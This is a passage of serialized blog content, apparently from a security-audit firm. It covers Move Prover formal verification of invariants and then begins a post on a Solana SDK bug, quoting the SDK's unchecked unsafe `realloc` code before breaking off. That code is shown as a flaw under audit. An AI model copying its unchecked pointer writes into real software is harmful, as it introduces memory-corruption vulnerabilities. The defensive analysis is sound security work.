"children":10417},{"style":508},[10418],{"type":28,"value":10382},{"type":23,"tag":481,"props":10420,"children":10421},{"style":525},[10422],{"type":28,"value":10423},", signer",{"type":23,"tag":481,"props":10425,"children":10426},{"style":514},[10427],{"type":28,"value":1006},{"type":23,"tag":481,"props":10429,"children":10430},{"style":610},[10431],{"type":28,"value":4687},{"type":23,"tag":481,"props":10433,"children":10434},{"style":525},[10435],{"type":28,"value":618},{"type":23,"tag":481,"props":10437,"children":10438},{"style":508},[10439],{"type":28,"value":10440},"account",{"type":23,"tag":481,"props":10442,"children":10443},{"style":525},[10444],{"type":28,"value":4701},{"type":23,"tag":481,"props":10446,"children":10447},{"class":483,"line":812},[10448,10452,10456,10460,10464,10468,10472,10476,10480,10484],{"type":23,"tag":481,"props":10449,"children":10450},{"style":508},[10451],{"type":28,"value":5666},{"type":23,"tag":481,"props":10453,"children":10454},{"style":514},[10455],{"type":28,"value":10351},{"type":23,"tag":481,"props":10457,"children":10458},{"style":508},[10459],{"type":28,"value":4182},{"type":23,"tag":481,"props":10461,"children":10462},{"style":525},[10463],{"type":28,"value":3282},{"type":23,"tag":481,"props":10465,"children":10466},{"style":943},[10467],{"type":28,"value":10364},{"type":23,"tag":481,"props":10469,"children":10470},{"style":525},[10471],{"type":28,"value":3282},{"type":23,"tag":481,"props":10473,"children":10474},{"style":943},[10475],{"type":28,"value":10373},{"type":23,"tag":481,"props":10477,"children":10478},{"style":525},[10479],{"type":28,"value":4204},{"type":23,"tag":481,"props":10481,"children":10482},{"style":508},[10483],{"type":28,"value":10382},{"type":23,"tag":481,"props":10485,"children":10486},{"style":525},[10487],{"type":28,"value":1366},{"type":23,"tag":481,"props":10489,"children":10490},{"class":483,"line":825},[10491,10495,10499,10503,10508,10512,10517,10521,10525,10529,10533,10537,10541,10545,10549],{"type":23,"tag":481,"props":10492,"children":10493},{"style":508},[10494],{"type":28,"value":5666},{"type":23,"tag":481,"props":10496,"children":10497},{"style":508},[10498],{"type":28,"value":6642},{"type":23,"tag":481,"props":10500,"children":10501},{"style":514},[10502],{"type":28,"value":800},{"type":23,"tag":481,"props":10504,"children":10505},{"style":610},[10506],{"type":28,"value":10507}," old",{"type":23,"tag":481,"props":10509,"children":10510},{"style":525},[10511],{"type":28,"value":618},{"type":23,"tag":481,"props":10513,"children":10514},{"style":508},[10515],{"type":28,"value":10516},"global",{"type":23,"tag":481,"props":10518,"children":10519},{"style":525},[10520],{"type":28,"value":3282},{"type":23,"tag":481,"props":10522,"children":10523},{"style":943},[10524],{"type":28,"value":10364},{"type":23,"tag":481,"props":10526,"children":10527},{"style":525},[10528],{"type":28,"value":3282},{"type":23,"tag":481,"props":10530,"children":10531},{"style":943},[10532],{"type":28,"value":10373},{"type":23,"tag":481,"props":10534,"children":10535},{"style":525},[10536],{"type":28,"value":4204},{"type":23,"tag":481,"props":10538,"children":10539},{"style":508},[10540],{"type":28,"value":10382},{"type":23,"tag":481,"props":10542,"children":10543},{"style":525},[10544],{"type":28,"value":642},{"type":23,"tag":481,"props":10546,"children":10547},{"style":514},[10548],{"type":28,"value":199},{"type":23,"tag":481,"props":10550,"children":10551},{"style":525},[10552],{"type":28,"value":10553},"offered);\n",{"type":23,"tag":481,"props":10555,"children":10556},{"class":483,"line":843},[10557],{"type":23,"tag":481,"props":10558,"children":10559},{"style":525},[10560],{"type":28,"value":879},{"type":23,"tag":24,"props":10562,"children":10563},{},[10564],{"type":28,"value":10565},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":23,"tag":7092,"props":10567,"children":10569},{"id":10568},"complex-mathematical-formulae",[10570],{"type":28,"value":10571},"Complex Mathematical Formulae",{"type":23,"tag":24,"props":10573,"children":10574},{},[10575,10577,10582],{"type":28,"value":10576},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":23,"tag":127,"props":10578,"children":10579},{},[10580],{"type":28,"value":10581},"always",{"type":28,"value":10583}," the output.",{"type":23,"tag":24,"props":10585,"children":10586},{},[10587],{"type":28,"value":10588},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":23,"tag":24,"props":10590,"children":10591},{},[10592,10594,10601],{"type":28,"value":10593},"For example, in our work with ",{"type":23,"tag":190,"props":10595,"children":10598},{"href":10596,"rel":10597},"https://laminar.markets/",[194],[10599],{"type":28,"value":10600},"Laminar Markets",{"type":28,"value":10602},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":23,"tag":7092,"props":10604,"children":10606},{"id":10605},"data-invariants",[10607],{"type":28,"value":10608},"Data Invariants",{"type":23,"tag":24,"props":10610,"children":10611},{},[10612,10614,10620,10622,10628,10630,10636,10638,10644],{"type":28,"value":10613},"Formal verification provides the best environment to verify that certain ",{"type":23,"tag":64,"props":10615,"children":10617},{"className":10616},[],[10618],{"type":28,"value":10619},"variables",{"type":28,"value":10621}," or ",{"type":23,"tag":64,"props":10623,"children":10625},{"className":10624},[],[10626],{"type":28,"value":10627},"resources",{"type":28,"value":10629}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":23,"tag":64,"props":10631,"children":10633},{"className":10632},[],[10634],{"type":28,"value":10635},"index",{"type":28,"value":10637}," is never greater than 4 using a ",{"type":23,"tag":64,"props":10639,"children":10641},{"className":10640},[],[10642],{"type":28,"value":10643},"struct invariant",{"type":28,"value":199},{"type":23,"tag":435,"props":10646,"children":10648},{"code":10647,"language":474,"meta":7,"className":475,"style":7},"struct Type {\n index: u64\n}\n\nspec Type {\n invariant index \u003C 4;\n}\n",[10649],{"type":23,"tag":64,"props":10650,"children":10651},{"__ignoreMap":7},[10652,10668,10685,10692,10699,10714,10738],{"type":23,"tag":481,"props":10653,"children":10654},{"class":483,"line":484},[10655,10659,10664],{"type":23,"tag":481,"props":10656,"children":10657},{"style":497},[10658],{"type":28,"value":6884},{"type":23,"tag":481,"props":10660,"children":10661},{"style":943},[10662],{"type":28,"value":10663}," Type",{"type":23,"tag":481,"props":10665,"children":10666},{"style":525},[10667],{"type":28,"value":809},{"type":23,"tag":481,"props":10669,"children":10670},{"class":483,"line":351},[10671,10676,10680],{"type":23,"tag":481,"props":10672,"children":10673},{"style":508},[10674],{"type":28,"value":10675}," index",{"type":23,"tag":481,"props":10677,"children":10678},{"style":514},[10679],{"type":28,"value":287},{"type":23,"tag":481,"props":10681,"children":10682},{"style":943},[10683],{"type":28,"value":10684}," u64\n",{"type":23,"tag":481,"props":10686,"children":10687},{"class":483,"line":531},[10688],{"type":23,"tag":481,"props":10689,"children":10690},{"style":525},[10691],{"type":28,"value":1443},{"type":23,"tag":481,"props":10693,"children":10694},{"class":483,"line":567},[10695],{"type":23,"tag":481,"props":10696,"children":10697},{"emptyLinePlaceholder":15},[10698],{"type":28,"value":1210},{"type":23,"tag":481,"props":10700,"children":10701},{"class":483,"line":678},[10702,10706,10710],{"type":23,"tag":481,"props":10703,"children":10704},{"style":508},[10705],{"type":28,"value":5754},{"type":23,"tag":481,"props":10707,"children":10708},{"style":943},[10709],{"type":28,"value":10663},{"type":23,"tag":481,"props":10711,"children":10712},{"style":525},[10713],{"type":28,"value":809},{"type":23,"tag":481,"props":10715,"children":10716},{"class":483,"line":784},[10717,10721,10726,10730,10734],{"type":23,"tag":481,"props":10718,"children":10719},{"style":508},[10720],{"type":28,"value":5771},{"type":23,"tag":481,"props":10722,"children":10723},{"style":508},[10724],{"type":28,"value":10725}," index",{"type":23,"tag":481,"props":10727,"children":10728},{"style":514},[10729],{"type":28,"value":6199},{"type":23,"tag":481,"props":10731,"children":10732},{"style":551},[10733],{"type":28,"value":9232},{"type":23,"tag":481,"props":10735,"children":10736},{"style":525},[10737],{"type":28,"value":528},{"type":23,"tag":481,"props":10739,"children":10740},{"class":483,"line":812},[10741],{"type":23,"tag":481,"props":10742,"children":10743},{"style":525},[10744],{"type":28,"value":1443},{"type":23,"tag":24,"props":10746,"children":10747},{},[10748,10750,10757,10758,10764],{"type":28,"value":10749},"We were able to verify more complex properties in our recent audits for ",{"type":23,"tag":190,"props":10751,"children":10754},{"href":10752,"rel":10753},"https://layerzero.network/",[194],[10755],{"type":28,"value":10756},"LayerZero",{"type":28,"value":8478},{"type":23,"tag":190,"props":10759,"children":10762},{"href":10760,"rel":10761},"http://ariesmarkets.xyz/",[194],[10763],{"type":28,"value":4268},{"type":28,"value":10765},", but the details are left as an exercise to the reader.",{"type":23,"tag":7092,"props":10767,"children":10769},{"id":10768},"economic-invariants",[10770],{"type":28,"value":10771},"Economic Invariants.",{"type":23,"tag":24,"props":10773,"children":10774},{},[10775],{"type":28,"value":10776},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":23,"tag":24,"props":10778,"children":10779},{},[10780],{"type":28,"value":10781},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":23,"tag":435,"props":10783,"children":10784},{"code":5446,"language":474,"meta":7,"className":475,"style":7},[10785],{"type":23,"tag":64,"props":10786,"children":10787},{"__ignoreMap":7},[10788,10795,10878,10917,10936,10943,10958,10981,11004,11027],{"type":23,"tag":481,"props":10789,"children":10790},{"class":483,"line":484},[10791],{"type":23,"tag":481,"props":10792,"children":10793},{"style":488},[10794],{"type":28,"value":5458},{"type":23,"tag":481,"props":10796,"children":10797},{"class":483,"line":351},[10798,10802,10806,10810,10814,10818,10822,10826,10830,10834,10838,10842,10846,10850,10854,10858,10862,10866,10870,10874],{"type":23,"tag":481,"props":10799,"children":10800},{"style":508},[10801],{"type":28,"value":4047},{"type":23,"tag":481,"props":10803,"children":10804},{"style":610},[10805],{"type":28,"value":5470},{"type":23,"tag":481,"props":10807,"children":10808},{"style":525},[10809],{"type":28,"value":618},{"type":23,"tag":481,"props":10811,"children":10812},{"style":508},[10813],{"type":28,"value":5479},{"type":23,"tag":481,"props":10815,"children":10816},{"style":514},[10817],{"type":28,"value":287},{"type":23,"tag":481,"props":10819,"children":10820},{"style":943},[10821],{"type":28,"value":3336},{"type":23,"tag":481,"props":10823,"children":10824},{"style":525},[10825],{"type":28,"value":588},{"type":23,"tag":481,"props":10827,"children":10828},{"style":508},[10829],{"type":28,"value":5496},{"type":23,"tag":481,"props":10831,"children":10832},{"style":514},[10833],{"type":28,"value":287},{"type":23,"tag":481,"props":10835,"children":10836},{"style":943},[10837],{"type":28,"value":3336},{"type":23,"tag":481,"props":10839,"children":10840},{"style":525},[10841],{"type":28,"value":642},{"type":23,"tag":481,"props":10843,"children":10844},{"style":514},[10845],{"type":28,"value":287},{"type":23,"tag":481,"props":10847,"children":10848},{"style":525},[10849],{"type":28,"value":578},{"type":23,"tag":481,"props":10851,"children":10852},{"style":943},[10853],{"type":28,"value":5521},{"type":23,"tag":481,"props":10855,"children":10856},{"style":525},[10857],{"type":28,"value":588},{"type":23,"tag":481,"props":10859,"children":10860},{"style":943},[10861],{"type":28,"value":5521},{"type":23,"tag":481,"props":10863,"children":10864},{"style":525},[10865],{"type":28,"value":598},{"type":23,"tag":481,"props":10867,"children":10868},{"style":508},[10869],{"type":28,"value":3821},{"type":23,"tag":481,"props":10871,"children":10872},{"style":943},[10873],{"type":28,"value":5542},{"type":23,"tag":481,"props":10875,"children":10876},{"style":525},[10877],{"type":28,"value":809},{"type":23,"tag":481,"props":10879,"children":10880},{"class":483,"line":531},[10881,10885,10889,10893,10897,10901,10905,10909,10913],{"type":23,"tag":481,"props":10882,"children":10883},{"style":497},[10884],{"type":28,"value":5554},{"type":23,"tag":481,"props":10886,"children":10887},{"style":508},[10888],{"type":28,"value":5559},{"type":23,"tag":481,"props":10890,"children":10891},{"style":514},[10892],{"type":28,"value":517},{"type":23,"tag":481,"props":10894,"children":10895},{"style":610},[10896],{"type":28,"value":5568},{"type":23,"tag":481,"props":10898,"children":10899},{"style":525},[10900],{"type":28,"value":618},{"type":23,"tag":481,"props":10902,"children":10903},{"style":508},[10904],{"type":28,"value":5479},{"type":23,"tag":481,"props":10906,"children":10907},{"style":525},[10908],{"type":28,"value":588},{"type":23,"tag":481,"props":10910,"children":10911},{"style":508},[10912],{"type":28,"value":5496},{"type":23,"tag":481,"props":10914,"children":10915},{"style":525},[10916],{"type":28,"value":1366},{"type":23,"tag":481,"props":10918,"children":10919},{"class":483,"line":567},[10920,10924,10928,10932],{"type":23,"tag":481,"props":10921,"children":10922},{"style":610},[10923],{"type":28,"value":5596},{"type":23,"tag":481,"props":10925,"children":10926},{"style":525},[10927],{"type":28,"value":618},{"type":23,"tag":481,"props":10929,"children":10930},{"style":508},[10931],{"type":28,"value":5605},{"type":23,"tag":481,"props":10933,"children":10934},{"style":525},[10935],{"type":28,"value":675},{"type":23,"tag":481,"props":10937,"children":10938},{"class":483,"line":678},[10939],{"type":23,"tag":481,"props":10940,"children":10941},{"style":525},[10942],{"type":28,"value":3348},{"type":23,"tag":481,"props":10944,"children":10945},{"class":483,"line":784},[10946,10950,10954],{"type":23,"tag":481,"props":10947,"children":10948},{"style":508},[10949],{"type":28,"value":5624},{"type":23,"tag":481,"props":10951,"children":10952},{"style":508},[10953],{"type":28,"value":5470},{"type":23,"tag":481,"props":10955,"children":10956},{"style":525},[10957],{"type":28,"value":809},{"type":23,"tag":481,"props":10959,"children":10960},{"class":483,"line":812},[10961,10965,10969,10973,10977],{"type":23,"tag":481,"props":10962,"children":10963},{"style":508},[10964],{"type":28,"value":5640},{"type":23,"tag":481,"props":10966,"children":10967},{"style":508},[10968],{"type":28,"value":5645},{"type":23,"tag":481,"props":10970,"children":10971},{"style":514},[10972],{"type":28,"value":603},{"type":23,"tag":481,"props":10974,"children":10975},{"style":497},[10976],{"type":28,"value":5654},{"type":23,"tag":481,"props":10978,"children":10979},{"style":525},[10980],{"type":28,"value":528},{"type":23,"tag":481,"props":10982,"children":10983},{"class":483,"line":825},[10984,10988,10992,10996,11000],{"type":23,"tag":481,"props":10985,"children":10986},{"style":508},[10987],{"type":28,"value":5666},{"type":23,"tag":481,"props":10989,"children":10990},{"style":508},[10991],{"type":28,"value":5671},{"type":23,"tag":481,"props":10993,"children":10994},{"style":514},[10995],{"type":28,"value":5676},{"type":23,"tag":481,"props":10997,"children":10998},{"style":508},[10999],{"type":28,"value":5681},{"type":23,"tag":481,"props":11001,"children":11002},{"style":525},[11003],{"type":28,"value":528},{"type":23,"tag":481,"props":11005,"children":11006},{"class":483,"line":843},[11007,11011,11015,11019,11023],{"type":23,"tag":481,"props":11008,"children":11009},{"style":508},[11010],{"type":28,"value":5666},{"type":23,"tag":481,"props":11012,"children":11013},{"style":508},[11014],{"type":28,"value":5697},{"type":23,"tag":481,"props":11016,"children":11017},{"style":514},[11018],{"type":28,"value":5676},{"type":23,"tag":481,"props":11020,"children":11021},{"style":508},[11022],{"type":28,"value":5706},{"type":23,"tag":481,"props":11024,"children":11025},{"style":525},[11026],{"type":28,"value":528},{"type":23,"tag":481,"props":11028,"children":11029},{"class":483,"line":864},[11030],{"type":23,"tag":481,"props":11031,"children":11032},{"style":525},[11033],{"type":28,"value":3348},{"type":23,"tag":24,"props":11035,"children":11036},{},[11037],{"type":28,"value":11038},"Some other ideas include",{"type":23,"tag":73,"props":11040,"children":11041},{},[11042,11047,11052],{"type":23,"tag":77,"props":11043,"children":11044},{},[11045],{"type":28,"value":11046},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":23,"tag":77,"props":11048,"children":11049},{},[11050],{"type":28,"value":11051},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":23,"tag":77,"props":11053,"children":11054},{},[11055],{"type":28,"value":11056},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":23,"tag":31,"props":11058,"children":11059},{"id":2860},[11060],{"type":28,"value":2863},{"type":23,"tag":24,"props":11062,"children":11063},{},[11064],{"type":28,"value":11065},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":23,"tag":24,"props":11067,"children":11068},{},[11069],{"type":28,"value":11070},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":23,"tag":24,"props":11072,"children":11073},{},[11074,11076,11081],{"type":28,"value":11075},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":190,"props":11077,"children":11079},{"href":6724,"rel":11078},[194],[11080],{"type":28,"value":6728},{"type":28,"value":199},{"type":23,"tag":2918,"props":11083,"children":11084},{},[11085],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":11087},[11088,11089,11092,11099],{"id":6788,"depth":351,"text":6791},{"id":6842,"depth":351,"text":6845,"children":11090},[11091],{"id":7094,"depth":531,"text":7089},{"id":9996,"depth":351,"text":9999,"children":11093},[11094,11095,11096,11097,11098],{"id":10012,"depth":531,"text":10015},{"id":10263,"depth":531,"text":10266},{"id":10568,"depth":531,"text":10571},{"id":10605,"depth":531,"text":10608},{"id":10768,"depth":531,"text":10771},{"id":2860,"depth":351,"text":2863},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":11104,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":11105,"description":11106,"author":11107,"image":11108,"date":11112,"isFeatured":15,"onBlogPage":15,"tags":11113,"body":11114,"_type":358,"_id":16237,"_source":360,"_file":16238,"_stem":16239,"_extension":363},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":11109,"height":11110,"width":11111},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[18,6752],{"type":20,"children":11115,"toc":16221},[11116,11144,11164,11834,11854,11865,11877,12010,12020,12026,12052,12393,12438,12765,12828,12841,12915,12983,13004,13017,13031,13380,13391,13396,13527,13578,13604,13616,13789,13925,13966,14003,14069,14074,14112,14166,14177,14321,14333,14339,14345,14378,14392,14514,14533,14561,14567,14657,14748,14754,14759,14806,15075,15150,15161,15188,15520,15532,15605,15878,15915,16217],{"type":23,"tag":24,"props":11117,"children":11118},{},[11119,11121,11127,11129,11134,11136,11142],{"type":28,"value":11120},"It all started with an audit of a program that used ",{"type":23,"tag":64,"props":11122,"children":11124},{"className":11123},[],[11125],{"type":28,"value":11126},"realloc",{"type":28,"value":11128}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":23,"tag":64,"props":11130,"children":11132},{"className":11131},[],[11133],{"type":28,"value":11126},{"type":28,"value":11135}," call (from ",{"type":23,"tag":64,"props":11137,"children":11139},{"className":11138},[],[11140],{"type":28,"value":11141},"solana_program",{"type":28,"value":11143},") would error out appropriately.",{"type":23,"tag":24,"props":11145,"children":11146},{},[11147,11149,11155,11156,11163],{"type":28,"value":11148},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":23,"tag":64,"props":11150,"children":11152},{"className":11151},[],[11153],{"type":28,"value":11154},"AccountInfo::realloc",{"type":28,"value":140},{"type":23,"tag":190,"props":11157,"children":11160},{"href":11158,"rel":11159},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[194],[11161],{"type":28,"value":11162},"implemented",{"type":28,"value":287},{"type":23,"tag":435,"props":11165,"children":11167},{"className":475,"code":11166,"language":474,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n let orig_len = self.data_len();\n\n // realloc\n unsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n }\n\n // zero-init if requested\n if zero_init && new_len > orig_len {\n sol_memset(\n &mut self.try_borrow_mut_data()?[orig_len..],\n 0,\n new_len.saturating_sub(orig_len),\n );\n }\n\n Ok(())\n}\n",[11168],{"type":23,"tag":64,"props":11169,"children":11170},{"__ignoreMap":7},[11171,11265,11299,11306,11314,11326,11334,11426,11459,11466,11474,11604,11635,11642,11649,11657,11691,11703,11752,11764,11793,11800,11807,11814,11827],{"type":23,"tag":481,"props":11172,"children":11173},{"class":483,"line":484},[11174,11179,11184,11189,11193,11197,11202,11206,11211,11215,11220,11224,11229,11233,11237,11241,11246,11251,11256,11261],{"type":23,"tag":481,"props":11175,"children":11176},{"style":497},[11177],{"type":28,"value":11178},"pub",{"type":23,"tag":481,"props":11180,"children":11181},{"style":497},[11182],{"type":28,"value":11183}," fn",{"type":23,"tag":481,"props":11185,"children":11186},{"style":610},[11187],{"type":28,"value":11188}," realloc",{"type":23,"tag":481,"props":11190,"children":11191},{"style":525},[11192],{"type":28,"value":618},{"type":23,"tag":481,"props":11194,"children":11195},{"style":514},[11196],{"type":28,"value":623},{"type":23,"tag":481,"props":11198,"children":11199},{"style":497},[11200],{"type":28,"value":11201},"self",{"type":23,"tag":481,"props":11203,"children":11204},{"style":525},[11205],{"type":28,"value":588},{"type":23,"tag":481,"props":11207,"children":11208},{"style":508},[11209],{"type":28,"value":11210},"new_len",{"type":23,"tag":481,"props":11212,"children":11213},{"style":514},[11214],{"type":28,"value":287},{"type":23,"tag":481,"props":11216,"children":11217},{"style":943},[11218],{"type":28,"value":11219}," usize",{"type":23,"tag":481,"props":11221,"children":11222},{"style":525},[11223],{"type":28,"value":588},{"type":23,"tag":481,"props":11225,"children":11226},{"style":508},[11227],{"type":28,"value":11228},"zero_init",{"type":23,"tag":481,"props":11230,"children":11231},{"style":514},[11232],{"type":28,"value":287},{"type":23,"tag":481,"props":11234,"children":11235},{"style":943},[11236],{"type":28,"value":9537},{"type":23,"tag":481,"props":11238,"children":11239},{"style":525},[11240],{"type":28,"value":598},{"type":23,"tag":481,"props":11242,"children":11243},{"style":514},[11244],{"type":28,"value":11245},"->",{"type":23,"tag":481,"props":11247,"children":11248},{"style":943},[11249],{"type":28,"value":11250}," Result",{"type":23,"tag":481,"props":11252,"children":11253},{"style":525},[11254],{"type":28,"value":11255},"\u003C(), ",{"type":23,"tag":481,"props":11257,"children":11258},{"style":943},[11259],{"type":28,"value":11260},"ProgramError",{"type":23,"tag":481,"props":11262,"children":11263},{"style":525},[11264],{"type":28,"value":4759},{"type":23,"tag":481,"props":11266,"children":11267},{"class":483,"line":351},[11268,11272,11277,11281,11286,11290,11295],{"type":23,"tag":481,"props":11269,"children":11270},{"style":497},[11271],{"type":28,"value":500},{"type":23,"tag":481,"props":11273,"children":11274},{"style":508},[11275],{"type":28,"value":11276}," orig_len",{"type":23,"tag":481,"props":11278,"children":11279},{"style":514},[11280],{"type":28,"value":517},{"type":23,"tag":481,"props":11282,"children":11283},{"style":497},[11284],{"type":28,"value":11285}," self",{"type":23,"tag":481,"props":11287,"children":11288},{"style":514},[11289],{"type":28,"value":199},{"type":23,"tag":481,"props":11291,"children":11292},{"style":610},[11293],{"type":28,"value":11294},"data_len",{"type":23,"tag":481,"props":11296,"children":11297},{"style":525},[11298],{"type":28,"value":1201},{"type":23,"tag":481,"props":11300,"children":11301},{"class":483,"line":531},[11302],{"type":23,"tag":481,"props":11303,"children":11304},{"emptyLinePlaceholder":15},[11305],{"type":28,"value":1210},{"type":23,"tag":481,"props":11307,"children":11308},{"class":483,"line":567},[11309],{"type":23,"tag":481,"props":11310,"children":11311},{"style":488},[11312],{"type":28,"value":11313}," // realloc\n",{"type":23,"tag":481,"props":11315,"children":11316},{"class":483,"line":678},[11317,11322],{"type":23,"tag":481,"props":11318,"children":11319},{"style":497},[11320],{"type":28,"value":11321}," unsafe",{"type":23,"tag":481,"props":11323,"children":11324},{"style":525},[11325],{"type":28,"value":809},{"type":23,"tag":481,"props":11327,"children":11328},{"class":483,"line":784},[11329],{"type":23,"tag":481,"props":11330,"children":11331},{"style":488},[11332],{"type":28,"value":11333}," // First set new length in the serialized data\n",{"type":23,"tag":481,"props":11335,"children":11336},{"class":483,"line":812},[11337,11341,11346,11350,11354,11358,11363,11368,11372,11377,11381,11385,11390,11394,11398,11402,11406,11410,11414,11418,11422],{"type":23,"tag":481,"props":11338,"children":11339},{"style":497},[11340],{"type":28,"value":573},{"type":23,"tag":481,"props":11342,"children":11343},{"style":508},[11344],{"type":28,"value":11345}," ptr",{"type":23,"tag":481,"props":11347,"children":11348},{"style":514},[11349],{"type":28,"value":517},{"type":23,"tag":481,"props":11351,"children":11352},{"style":497},[11353],{"type":28,"value":11285},{"type":23,"tag":481,"props":11355,"children":11356},{"style":514},[11357],{"type":28,"value":199},{"type":23,"tag":481,"props":11359,"children":11360},{"style":610},[11361],{"type":28,"value":11362},"try_borrow_mut_data",{"type":23,"tag":481,"props":11364,"children":11365},{"style":525},[11366],{"type":28,"value":11367},"()",{"type":23,"tag":481,"props":11369,"children":11370},{"style":514},[11371],{"type":28,"value":647},{"type":23,"tag":481,"props":11373,"children":11374},{"style":610},[11375],{"type":28,"value":11376},"as_mut_ptr",{"type":23,"tag":481,"props":11378,"children":11379},{"style":525},[11380],{"type":28,"value":11367},{"type":23,"tag":481,"props":11382,"children":11383},{"style":514},[11384],{"type":28,"value":199},{"type":23,"tag":481,"props":11386,"children":11387},{"style":610},[11388],{"type":28,"value":11389},"offset",{"type":23,"tag":481,"props":11391,"children":11392},{"style":525},[11393],{"type":28,"value":618},{"type":23,"tag":481,"props":11395,"children":11396},{"style":514},[11397],{"type":28,"value":1876},{"type":23,"tag":481,"props":11399,"children":11400},{"style":551},[11401],{"type":28,"value":1622},{"type":23,"tag":481,"props":11403,"children":11404},{"style":525},[11405],{"type":28,"value":598},{"type":23,"tag":481,"props":11407,"children":11408},{"style":497},[11409],{"type":28,"value":6322},{"type":23,"tag":481,"props":11411,"children":11412},{"style":514},[11413],{"type":28,"value":7301},{"type":23,"tag":481,"props":11415,"children":11416},{"style":497},[11417],{"type":28,"value":1259},{"type":23,"tag":481,"props":11419,"children":11420},{"style":943},[11421],{"type":28,"value":3336},{"type":23,"tag":481,"props":11423,"children":11424},{"style":525},[11425],{"type":28,"value":528},{"type":23,"tag":481,"props":11427,"children":11428},{"class":483,"line":825},[11429,11433,11438,11442,11447,11451,11455],{"type":23,"tag":481,"props":11430,"children":11431},{"style":514},[11432],{"type":28,"value":5230},{"type":23,"tag":481,"props":11434,"children":11435},{"style":508},[11436],{"type":28,"value":11437},"ptr",{"type":23,"tag":481,"props":11439,"children":11440},{"style":514},[11441],{"type":28,"value":517},{"type":23,"tag":481,"props":11443,"children":11444},{"style":508},[11445],{"type":28,"value":11446}," new_len",{"type":23,"tag":481,"props":11448,"children":11449},{"style":497},[11450],{"type":28,"value":6308},{"type":23,"tag":481,"props":11452,"children":11453},{"style":943},[11454],{"type":28,"value":3336},{"type":23,"tag":481,"props":11456,"children":11457},{"style":525},[11458],{"type":28,"value":528},{"type":23,"tag":481,"props":11460,"children":11461},{"class":483,"line":843},[11462],{"type":23,"tag":481,"props":11463,"children":11464},{"emptyLinePlaceholder":15},[11465],{"type":28,"value":1210},{"type":23,"tag":481,"props":11467,"children":11468},{"class":483,"line":864},[11469],{"type":23,"tag":481,"props":11470,"children":11471},{"style":488},[11472],{"type":28,"value":11473}," // Then set the new length in the local slice\n",{"type":23,"tag":481,"props":11475,"children":11476},{"class":483,"line":873},[11477,11481,11485,11489,11493,11497,11501,11506,11510,11514,11518,11522,11527,11532,11536,11540,11544,11548,11552,11556,11560,11564,11568,11572,11576,11580,11584,11588,11592,11596,11600],{"type":23,"tag":481,"props":11478,"children":11479},{"style":497},[11480],{"type":28,"value":573},{"type":23,"tag":481,"props":11482,"children":11483},{"style":508},[11484],{"type":28,"value":11345},{"type":23,"tag":481,"props":11486,"children":11487},{"style":514},[11488],{"type":28,"value":517},{"type":23,"tag":481,"props":11490,"children":11491},{"style":514},[11492],{"type":28,"value":4619},{"type":23,"tag":481,"props":11494,"children":11495},{"style":497},[11496],{"type":28,"value":1259},{"type":23,"tag":481,"props":11498,"children":11499},{"style":514},[11500],{"type":28,"value":7301},{"type":23,"tag":481,"props":11502,"children":11503},{"style":525},[11504],{"type":28,"value":11505},"(((",{"type":23,"tag":481,"props":11507,"children":11508},{"style":497},[11509],{"type":28,"value":11201},{"type":23,"tag":481,"props":11511,"children":11512},{"style":514},[11513],{"type":28,"value":199},{"type":23,"tag":481,"props":11515,"children":11516},{"style":525},[11517],{"type":28,"value":1237},{"type":23,"tag":481,"props":11519,"children":11520},{"style":514},[11521],{"type":28,"value":199},{"type":23,"tag":481,"props":11523,"children":11524},{"style":610},[11525],{"type":28,"value":11526},"as_ptr",{"type":23,"tag":481,"props":11528,"children":11529},{"style":525},[11530],{"type":28,"value":11531},"() 